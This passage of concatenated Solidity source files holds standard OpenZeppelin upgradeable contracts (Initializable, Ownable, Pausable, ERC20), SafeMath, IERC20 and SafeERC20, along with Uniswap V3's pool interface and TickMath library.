* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../utils/ContextUpgradeable.sol";
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../proxy/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol';
/// @title Router token swapping functionality
